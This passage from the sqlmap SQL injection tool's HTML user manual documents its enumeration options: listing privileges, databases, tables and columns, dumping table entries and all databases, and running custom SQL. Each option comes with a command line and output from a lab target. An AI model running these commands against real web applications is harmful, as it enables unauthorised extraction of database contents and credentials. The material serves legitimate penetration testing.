privilege: RESOURCE
|
|
[*] XDB [2]:
|
|
privilege: CTXAPP
|
|
privilege: RESOURCE
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>You can also provide the <CODE>-U</CODE> option to specify the user who you
|
|
want to enumerate the privileges.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --privileges \
|
|
-U postgres -v 0
|
|
|
|
database management system users privileges:
|
|
[*] postgres (administrator) [3]:
|
|
privilege: catupd
|
|
privilege: createdb
|
|
privilege: super
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, depending on the user privileges, sqlmap identifies if the
|
|
user is a database management system administrator and shows this information
|
|
next to the username.</P>
|
|
|
|
<P>If you provide <CODE>CU</CODE> as username it will consider it as an alias for
|
|
current user and will enumerate the privileges for this user.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --passwords \
|
|
-U CU -v 1
|
|
|
|
[...]
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:25] [INFO] fetching current user
|
|
[hh:mm:25] [INFO] retrieved: postgres
|
|
[hh:mm:25] [INFO] fetching database users privileges for current user
|
|
[hh:mm:25] [INFO] fetching number of privileges for user 'postgres'
|
|
[hh:mm:25] [INFO] retrieved: 1
|
|
[hh:mm:25] [INFO] fetching privileges for user 'postgres'
|
|
[hh:mm:25] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it
|
|
into distinct queries to be able to retrieve the output even if we are going blind
|
|
[hh:mm:25] [INFO] retrieved: 1
|
|
[hh:mm:25] [INFO] retrieved: 1
|
|
[hh:mm:25] [INFO] retrieved: 1
|
|
database management system users privileges:
|
|
[*] postgres (administrator) [3]:
|
|
privilege: catupd
|
|
privilege: createdb
|
|
privilege: super
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Note that this feature is not available if the back-end database
|
|
management system is Microsoft SQL Server.</P>
|
|
|
|
|
|
<H3>Available databases</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-dbs</CODE></P>
|
|
|
|
<P>It is possible to enumerate the list of databases.</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --dbs -v 0
|
|
|
|
available databases [6]:
|
|
[*] master
|
|
[*] model
|
|
[*] msdb
|
|
[*] Northwind
|
|
[*] pubs
|
|
[*] tempdb
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Note that this feature is not available if the back-end database
|
|
management system is Oracle.</P>
|
|
|
|
<H3>Databases tables</H3>
|
|
|
|
<P>Options: <CODE>-</CODE><CODE>-tables</CODE> and <CODE>-D</CODE></P>
|
|
|
|
<P>It is possible to enumerate the list of tables for all database
|
|
management system's databases.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --tables -v 0
|
|
|
|
Database: testdb
|
|
[1 table]
|
|
+---------------------------------------+
|
|
| users |
|
|
+---------------------------------------+
|
|
|
|
Database: information_schema
|
|
[17 tables]
|
|
+---------------------------------------+
|
|
| CHARACTER_SETS |
|
|
| COLLATION_CHARACTER_SET_APPLICABILITY |
|
|
| COLLATIONS |
|
|
| COLUMN_PRIVILEGES |
|
|
| COLUMNS |
|
|
| KEY_COLUMN_USAGE |
|
|
| PROFILING |
|
|
| ROUTINES |
|
|
| SCHEMA_PRIVILEGES |
|
|
| SCHEMATA |
|
|
| STATISTICS |
|
|
| TABLE_CONSTRAINTS |
|
|
| TABLE_PRIVILEGES |
|
|
| TABLES |
|
|
| TRIGGERS |
|
|
| USER_PRIVILEGES |
|
|
| VIEWS |
|
|
+---------------------------------------+
|
|
|
|
Database: mysql
|
|
[17 tables]
|
|
+---------------------------------------+
|
|
| columns_priv |
|
|
| db |
|
|
| func |
|
|
| help_category |
|
|
| help_keyword |
|
|
| help_relation |
|
|
| help_topic |
|
|
| host |
|
|
| proc |
|
|
| procs_priv |
|
|
| tables_priv |
|
|
| time_zone |
|
|
| time_zone_leap_second |
|
|
| time_zone_name |
|
|
| time_zone_transition |
|
|
| time_zone_transition_type |
|
|
| user |
|
|
+---------------------------------------+
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>You can also provide the <CODE>-D</CODE> option to specify the database
|
|
that you want to enumerate the tables.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --tables \
|
|
-D testdb -v 0
|
|
|
|
Database: testdb
|
|
[1 table]
|
|
+---------------------------------------+
|
|
| users |
|
|
+---------------------------------------+
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on an <B>Oracle XE 10.2.0.1</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" --tables \
|
|
-D users -v 0
|
|
|
|
Database: USERS
|
|
[8 tables]
|
|
+-------------------+
|
|
| DEPARTMENTS |
|
|
| EMPLOYEES |
|
|
| HTMLDB_PLAN_TABLE |
|
|
| JOB_HISTORY |
|
|
| JOBS |
|
|
| LOCATIONS |
|
|
| REGIONS |
|
|
| USERS |
|
|
+-------------------+
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Note that on Oracle you have to provide the <CODE>TABLESPACE_NAME</CODE>
|
|
instead of the database name. In provided example <CODE>users</CODE> was
|
|
used to retrieve all tables owned by an Oracle database management
|
|
system user.</P>
|
|
|
|
|
|
<H3>Database table columns</H3>
|
|
|
|
<P>Options: <CODE>-</CODE><CODE>-columns</CODE>, <CODE>-C</CODE>, <CODE>-T</CODE> and <CODE>-D</CODE></P>
|
|
|
|
<P>It is possible to enumerate the list of columns for a specific database
|
|
table.
|
|
This functionality depends on the option <CODE>-T</CODE> to specify the table name
|
|
and optionally on <CODE>-D</CODE> to specify the database name.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --columns \
|
|
-T users -D testdb -v 1
|
|
|
|
[...]
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:20] [INFO] fetching columns for table 'users' on database 'testdb'
|
|
[hh:mm:20] [INFO] fetching number of columns for table 'users' on database 'testdb'
|
|
[hh:mm:20] [INFO] retrieved: 3
|
|
[hh:mm:20] [INFO] retrieved: id
|
|
[hh:mm:20] [INFO] retrieved: int(11)
|
|
[hh:mm:21] [INFO] retrieved: name
|
|
[hh:mm:21] [INFO] retrieved: varchar(500)
|
|
[hh:mm:21] [INFO] retrieved: surname
|
|
[hh:mm:21] [INFO] retrieved: varchar(1000)
|
|
Database: testdb
|
|
Table: users
|
|
[3 columns]
|
|
+---------+---------------+
|
|
| Column | Type |
|
|
+---------+---------------+
|
|
| id | int(11) |
|
|
| name | varchar(500) |
|
|
| surname | varchar(1000) |
|
|
+---------+---------------+
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --columns \
|
|
-T users -D master -v 0
|
|
|
|
Database: master
|
|
Table: users
|
|
[3 columns]
|
|
+---------+---------+
|
|
| Column | Type |
|
|
+---------+---------+
|
|
| id | int |
|
|
| name | varchar |
|
|
| surname | varchar |
|
|
+---------+---------+
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --columns \
|
|
-T users -D public -v 0
|
|
|
|
Database: public
|
|
Table: users
|
|
[3 columns]
|
|
+---------+--------+
|
|
| Column | Type |
|
|
+---------+--------+
|
|
| id | int4 |
|
|
| name | bpchar |
|
|
| surname | bpchar |
|
|
+---------+--------+
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Note that on PostgreSQL you have to provide <CODE>public</CODE> or the
|
|
name of a system database. That's because it is not possible to enumerate
|
|
other databases tables, only the tables under the schema that the web
|
|
application's user is connected to, which is always <CODE>public</CODE>.</P>
|
|
|
|
<P>If the database name is not specified, the current database name is used.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --columns \
|
|
-T users -v 1
|
|
|
|
[...]
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:45] [WARNING] missing database parameter, sqlmap is going to use the current
|
|
database to enumerate table 'users' columns
|
|
[hh:mm:45] [INFO] fetching current database
|
|
[hh:mm:45] [INFO] retrieved: testdb
|
|
[hh:mm:45] [INFO] fetching columns for table 'users' on database 'testdb'
|
|
[hh:mm:45] [INFO] fetching number of columns for table 'users' on database 'testdb'
|
|
[hh:mm:45] [INFO] retrieved: 3
|
|
[hh:mm:45] [INFO] retrieved: id
|
|
[hh:mm:45] [INFO] retrieved: int(11)
|
|
[hh:mm:46] [INFO] retrieved: name
|
|
[hh:mm:46] [INFO] retrieved: varchar(500)
|
|
[hh:mm:46] [INFO] retrieved: surname
|
|
[hh:mm:46] [INFO] retrieved: varchar(1000)
|
|
Database: testdb
|
|
Table: users
|
|
[3 columns]
|
|
+---------+---------------+
|
|
| Column | Type |
|
|
+---------+---------------+
|
|
| id | int(11) |
|
|
| name | varchar(500) |
|
|
| surname | varchar(1000) |
|
|
+---------+---------------+
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>You can also provide the <CODE>-C</CODE> option to specify the table columns
|
|
name like the one you provided to be enumerated.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --columns \
|
|
-T users -C name -v 1
|
|
|
|
[...]
|
|
[hh:mm:20] [WARNING] missing database parameter, sqlmap is going to use the current
|
|
database to enumerate table 'users' columns
|
|
[hh:mm:20] [INFO] fetching current database
|
|
[hh:mm:20] [INFO] retrieved: testdb
|
|
[hh:mm:20] [INFO] fetching columns like 'name' for table 'users' on database 'testdb'
|
|
[hh:mm:20] [INFO] fetching number of columns for table 'users' on database 'testdb'
|
|
[hh:mm:20] [INFO] retrieved: 2
|
|
[hh:mm:20] [INFO] retrieved: name
|
|
[hh:mm:20] [INFO] retrieved: varchar(500)
|
|
[hh:mm:21] [INFO] retrieved: surname
|
|
[hh:mm:21] [INFO] retrieved: varchar(1000)
|
|
Database: testdb
|
|
Table: users
|
|
[2 columns]
|
|
+---------+---------------+
|
|
| Column | Type |
|
|
+---------+---------------+
|
|
| name | varchar(500) |
|
|
| surname | varchar(1000) |
|
|
+---------+---------------+
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Dump database table entries</H3>
|
|
|
|
<P>Options: <CODE>-</CODE><CODE>-dump</CODE>, <CODE>-C</CODE>, <CODE>-T</CODE>, <CODE>-D</CODE>,
|
|
<CODE>-</CODE><CODE>-start</CODE>, <CODE>-</CODE><CODE>-stop</CODE>, <CODE>-</CODE><CODE>-first</CODE>
|
|
and <CODE>-</CODE><CODE>-last</CODE></P>
|
|
|
|
<P>It is possible to dump table entries.
|
|
This functionality depends on the option <CODE>-T</CODE> to specify the table
|
|
name or on the option <CODE>-C</CODE> to specify the column name and,
|
|
optionally on <CODE>-D</CODE> to specify the database name.</P>
|
|
|
|
<P>If the table name is specified, but the database name is not, the current
|
|
database name is used.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --dump \
|
|
-T users -v 1
|
|
|
|
[...]
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:41] [WARNING] missing database parameter, sqlmap is going to use the current
|
|
database to dump table 'users' entries
|
|
[hh:mm:41] [INFO] fetching current database
|
|
[hh:mm:41] [INFO] retrieved: testdb
|
|
[hh:mm:41] [INFO] fetching columns for table 'users' on database 'testdb'
|
|
[hh:mm:41] [INFO] fetching number of columns for table 'users' on database 'testdb'
|
|
[hh:mm:41] [INFO] retrieved: 3
|
|
[hh:mm:41] [INFO] retrieved: id
|
|
[hh:mm:41] [INFO] retrieved: name
|
|
[hh:mm:41] [INFO] retrieved: surname
|
|
[hh:mm:41] [INFO] fetching entries for table 'users' on database 'testdb'
|
|
[hh:mm:41] [INFO] fetching number of entries for table 'users' on database 'testdb'
|
|
[hh:mm:41] [INFO] retrieved: 4
|
|
[hh:mm:41] [INFO] retrieved: 1
|
|
[hh:mm:42] [INFO] retrieved: luther
|
|
[hh:mm:42] [INFO] retrieved: blissett
|
|
[hh:mm:42] [INFO] retrieved: 2
|
|
[hh:mm:42] [INFO] retrieved: fluffy
|
|
[hh:mm:42] [INFO] retrieved: bunny
|
|
[hh:mm:42] [INFO] retrieved: 3
|
|
[hh:mm:42] [INFO] retrieved: wu
|
|
[hh:mm:42] [INFO] retrieved: ming
|
|
[hh:mm:43] [INFO] retrieved: 4
|
|
[hh:mm:43] [INFO] retrieved:
|
|
[hh:mm:43] [INFO] retrieved: nameisnull
|
|
Database: testdb
|
|
Table: users
|
|
[4 entries]
|
|
+----+--------+------------+
|
|
| id | name | surname |
|
|
+----+--------+------------+
|
|
| 1 | luther | blissett |
|
|
| 2 | fluffy | bunny |
|
|
| 3 | wu | ming |
|
|
| 4 | NULL | nameisnull |
|
|
+----+--------+------------+
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>You can also provide the <CODE>-C</CODE> option to specify the table column
|
|
that you want to enumerate the entries.</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --dump \
|
|
-T users -D master -C surname -v 0
|
|
|
|
Database: master
|
|
Table: users
|
|
[5 entries]
|
|
+-------------------+
|
|
| surname |
|
|
+-------------------+
|
|
| blisset |
|
|
| bunny |
|
|
| ming |
|
|
| nameisnull |
|
|
| user agent header |
|
|
+-------------------+
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>If only the column name is specified, sqlmap will enumerate and ask the
|
|
user to dump all databases' tables containing user provided column(s).
|
|
This feature can be useful to identify, for instance, tables containing
|
|
custom application credentials.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 --dump \
|
|
-C "urna"
|
|
|
|
[...]
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
do you want sqlmap to consider provided column(s):
|
|
[1] as LIKE column names (default)
|
|
[2] as exact column names
|
|
> 1
|
|
[hh:mm:08] [INFO] fetching databases with tables containing columns like 'urna'
|
|
[hh:mm:08] [INFO] fetching number of databases with tables containing columns like
|
|
'urna'
|
|
[hh:mm:08] [INFO] retrieved: 1
|
|
[hh:mm:08] [INFO] retrieved: testdb
|
|
[hh:mm:10] [INFO] fetching tables containing columns like 'urna' in database 'testdb'
|
|
[hh:mm:10] [INFO] fetching number of tables containing columns like 'urna' in
|
|
database 'testdb'
|
|
[hh:mm:10] [INFO] retrieved: 1
|
|
[hh:mm:10] [INFO] retrieved: users
|
|
[hh:mm:10] [INFO] fetching columns like 'urna' for table 'users' on database 'testdb'
|
|
[hh:mm:10] [INFO] fetching number of columns for table 'users' on database 'testdb'
|
|
[hh:mm:10] [INFO] retrieved: 1
|
|
[hh:mm:10] [INFO] retrieved: surname
|
|
Columns like 'urna' were found in the following databases:
|
|
Database: testdb
|
|
Table: users
|
|
[1 column]
|
|
+---------+
|
|
| Column |
|
|
+---------+
|
|
| surname |
|
|
+---------+
|
|
|
|
do you want to dump entries? [Y/n] y
|
|
which database(s)?
|
|
[a]ll (default)
|
|
[testdb]
|
|
[q]uit
|
|
>
|
|
which table(s) of database 'testdb'?
|
|
[a]ll (default)
|
|
[users]
|
|
[s]kip
|
|
[q]uit
|
|
>
|
|
[hh:mm:23] [INFO] fetching columns 'surname' entries for table 'users' on
|
|
database 'testdb'
|
|
[hh:mm:23] [INFO] fetching number of columns 'surname' entries for table
|
|
'users' on database 'testdb'
|
|
[hh:mm:23] [INFO] retrieved: 4
|
|
[hh:mm:23] [INFO] retrieved: blissett
|
|
[hh:mm:23] [INFO] retrieved: bunny
|
|
[hh:mm:23] [INFO] retrieved: ming
|
|
[hh:mm:23] [INFO] retrieved: nameisnull
|
|
Database: testdb
|
|
Table: users
|
|
[4 entries]
|
|
+------------+
|
|
| surname |
|
|
+------------+
|
|
| blissett |
|
|
| bunny |
|
|
| ming |
|
|
| nameisnull |
|
|
+------------+
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>sqlmap also stores for each table the dumped entries in a CSV format file.
|
|
You can see the absolute path where sqlmap stores the dumped tables entries
|
|
by providing a verbosity level greater than or equal to 1.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --dump \
|
|
-T users -D public -v 1
|
|
|
|
[...]
|
|
Database: public
|
|
Table: users
|
|
[5 entries]
|
|
+----+----------------------------------------------+-------------------+
|
|
| id | name | surname |
|
|
+----+----------------------------------------------+-------------------+
|
|
| 1 | luther | blissett |
|
|
| 2 | fluffy | bunny |
|
|
| 3 | wu | ming |
|
|
| 4 | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header |
|
|
| 5 | | nameisnull |
|
|
+----+----------------------------------------------+-------------------+
|
|
|
|
[hh:mm:59] [INFO] Table 'public.users' dumped to CSV file '/home/inquis/sqlmap/output/
|
|
172.16.213.131/dump/public/users.csv'
|
|
[...]
|
|
|
|
$ cat ./output/172.16.213.131/dump/public/users.csv
|
|
id,name,surname
|
|
"1","luther","blissett"
|
|
"2","fluffy","bunny"
|
|
"3","wu","ming"
|
|
"4","sqlmap/0.8 (http://sqlmap.sourceforge.net)","user agent header"
|
|
"5","","nameisnull"
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>You can also provide the <CODE>-</CODE><CODE>-start</CODE> and/or the <CODE>-</CODE><CODE>-stop</CODE>
|
|
options to limit the dump to a range of entries, while those entries can be further
|
|
limited to a range of character positions provided with <CODE>-</CODE><CODE>-first</CODE>
|
|
and/or the <CODE>-</CODE><CODE>-last</CODE> options:</P>
|
|
<P>
|
|
<UL>
|
|
<LI><CODE>-</CODE><CODE>-start</CODE> specifies the first entry to enumerate.</LI>
|
|
<LI><CODE>-</CODE><CODE>-stop</CODE> specifies the last entry to enumerate.</LI>
|
|
</UL>
|
|
</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --dump \
|
|
-T users -D testdb --start 2 --stop 4 -v 0
|
|
|
|
Database: testdb
|
|
Table: users
|
|
[3 entries]
|
|
+----+--------------------------------------------+-------------------+
|
|
| id | name | surname |
|
|
+----+--------------------------------------------+-------------------+
|
|
| 2 | fluffy | bunny |
|
|
| 3 | wu | ming |
|
|
| 4 | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header |
|
|
+----+--------------------------------------------+-------------------+
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, sqlmap is very flexible. You can leave it to automatically
|
|
enumerate the whole database table up to a range of characters of a single
|
|
column of a specific table entry.</P>
|
|
|
|
|
|
<H3>Dump all databases tables entries</H3>
|
|
|
|
<P>Options: <CODE>-</CODE><CODE>-dump-all</CODE> and <CODE>-</CODE><CODE>-exclude-sysdbs</CODE></P>
|
|
|
|
<P>It is possible to dump all databases tables entries at once.</P>
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --dump-all -v 0
|
|
|
|
Database: testdb
|
|
Table: users
|
|
[5 entries]
|
|
+----+--------------------------------------------+-------------------+
|
|
| id | name | surname |
|
|
+----+--------------------------------------------+-------------------+
|
|
| 1 | luther | blissett |
|
|
| 2 | fluffy | bunny |
|
|
| 3 | wu | ming |
|
|
| 4 | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header |
|
|
| 5 | NULL | nameisnull |
|
|
+----+--------------------------------------------+-------------------+
|
|
|
|
Database: information_schema
|
|
Table: CHARACTER_SETS
|
|
[36 entries]
|
|
+--------------------+----------------------+-----------------------------+--------+
|
|
| CHARACTER_SET_NAME | DEFAULT_COLLATE_NAME | DESCRIPTION | MAXLEN |
|
|
+--------------------+----------------------+-----------------------------+--------+
|
|
| tis620 | tis620_thai_ci | TIS620 Thai | 1 |
|
|
| macroman | macroman_general_ci | Mac West European | 1 |
|
|
| dec8 | dec8_swedish_ci | DEC West European | 1 |
|
|
| ujis | ujis_japanese_ci | EUC-JP Japanese | 3 |
|
|
| eucjpms | eucjpms_japanese_ci | UJIS for Windows Japanese | 3 |
|
|
| armscii8 | armscii8_general_ci | ARMSCII-8 Armenian | 1 |
|
|
| ucs2 | ucs2_general_ci | UCS-2 Unicode | 2 |
|
|
| hp8 | hp8_english_ci | HP West European | 1 |
|
|
| latin2 | latin2_general_ci | ISO 8859-2 Central European | 1 |
|
|
| koi8u | koi8u_general_ci | KOI8-U Ukrainian | 1 |
|
|
| keybcs2 | keybcs2_general_ci | DOS Kamenicky Czech-Slovak | 1 |
|
|
| ascii | ascii_general_ci | US ASCII | 1 |
|
|
| cp866 | cp866_general_ci | DOS Russian | 1 |
|
|
| cp1256 | cp1256_general_ci | Windows Arabic | 1 |
|
|
| macce | macce_general_ci | Mac Central European | 1 |
|
|
| sjis | sjis_japanese_ci | Shift-JIS Japanese | 2 |
|
|
| geostd8 | geostd8_general_ci | GEOSTD8 Georgian | 1 |
|
|
| cp1257 | cp1257_general_ci | Windows Baltic | 1 |
|
|
| cp852 | cp852_general_ci | DOS Central European | 1 |
|
|
| euckr | euckr_korean_ci | EUC-KR Korean | 2 |
|
|
| cp1250 | cp1250_general_ci | Windows Central European | 1 |
|
|
| cp1251 | cp1251_general_ci | Windows Cyrillic | 1 |
|
|
| binary | binary | Binary pseudo charset | 1 |
|
|
| big5 | big5_chinese_ci | Big5 Traditional Chinese | 2 |
|
|
| gb2312 | gb2312_chinese_ci | GB2312 Simplified Chinese | 2 |
|
|
| hebrew | hebrew_general_ci | ISO 8859-8 Hebrew | 1 |
|
|
| koi8r | koi8r_general_ci | KOI8-R Relcom Russian | 1 |
|
|
| greek | greek_general_ci | ISO 8859-7 Greek | 1 |
|
|
| cp850 | cp850_general_ci | DOS West European | 1 |
|
|
| utf8 | utf8_general_ci | UTF-8 Unicode | 3 |
|
|
| latin1 | latin1_swedish_ci | cp1252 West European | 1 |
|
|
| latin7 | latin7_general_ci | ISO 8859-13 Baltic | 1 |
|
|
| cp932 | cp932_japanese_ci | SJIS for Windows Japanese | 2 |
|
|
| latin5 | latin5_turkish_ci | ISO 8859-9 Turkish | 1 |
|
|
| swe7 | swe7_swedish_ci | 7bit Swedish | 1 |
|
|
| gbk | gbk_chinese_ci | GBK Simplified Chinese | 2 |
|
|
+--------------------+----------------------+-----------------------------+--------+
|
|
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>You can also provide the <CODE>-</CODE><CODE>-exclude-sysdbs</CODE> option to exclude all
|
|
system databases. In that case sqlmap will only dump entries of users' databases
|
|
tables.</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --dump-all \
|
|
--exclude-sysdbs -v 0
|
|
|
|
Database: master
|
|
Table: spt_datatype_info_ext
|
|
[10 entries]
|
|
+----------------+-----------------+-----------+-----------+
|
|
| AUTO_INCREMENT | CREATE_PARAMS | typename | user_type |
|
|
+----------------+-----------------+-----------+-----------+
|
|
| 0 | length | char | 175 |
|
|
| 0 | precision,scale | numeric | 108 |
|
|
| 0 | max length | varbinary | 165 |
|
|
| 0 | precision,scale | decimal | 106 |
|
|
| 1 | precision | numeric | 108 |
|
|
| 0 | length | nchar | 239 |
|
|
| 0 | max length | nvarchar | 231 |
|
|
| 0 | length | binary | 173 |
|
|
| 0 | max length | varchar | 167 |
|
|
| 1 | precision | decimal | 106 |
|
|
+----------------+-----------------+-----------+-----------+
|
|
|
|
[...]
|
|
|
|
Database: master
|
|
Table: users
|
|
[5 entries]
|
|
+----+----------------------------------------------+-------------------+
|
|
| id | name | surname |
|
|
+----+----------------------------------------------+-------------------+
|
|
| 4 | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header |
|
|
| 2 | fluffy | bunny |
|
|
| 1 | luther | blisset |
|
|
| 3 | wu | ming |
|
|
| 5 | NULL | nameisnull |
|
|
+----+----------------------------------------------+-------------------+
|
|
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Note that on Microsoft SQL Server the <CODE>master</CODE> database is not
|
|
considered a system database because some database administrators use it
|
|
as a users' database.</P>
|
|
|
|
|
|
<H3>Execute custom SQL statement</H3>
|
|
|
|
<P>Options: <CODE>-</CODE><CODE>-sql-query</CODE> and <CODE>-</CODE><CODE>-sql-shell</CODE></P>
|
|
|
|
<P>The SQL query and the SQL shell features makes the user able to execute
|
|
custom SQL statements on the web application's back-end database
|
|
management.
|
|
sqlmap automatically dissects the provided statement, determines which
|
|
technique to use to inject it and how to pack the SQL payload accordingly.</P>
|
|
<P>If it is a <CODE>SELECT</CODE> statement, sqlmap will retrieve its output
|
|
through the blind SQL injection or UNION query SQL injection technique
|
|
depending on the user's options. Otherwise it will execute the query
|
|
through the stacked query SQL injection technique if the web application
|
|
supports multiple statements on the back-end database management system.</P>
|
|
|
|
<P>Examples on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
|
|
"SELECT 'foo'" -v 1
|
|
|
|
[...]
|
|
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
|
|
[hh:mm:14] [INFO] retrieved: foo
|
|
SELECT 'foo': 'foo'
|
|
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
|
|
"SELECT 'foo', 'bar'" -v 2
|
|
|
|
[...]
|
|
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
|
|
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
|
|
distinct queries to be able to retrieve the output even if we are going blind
|
|
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
|
|
(CHAR(32)))
|
|
[hh:mm:50] [INFO] retrieved: foo
|
|
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
|
|
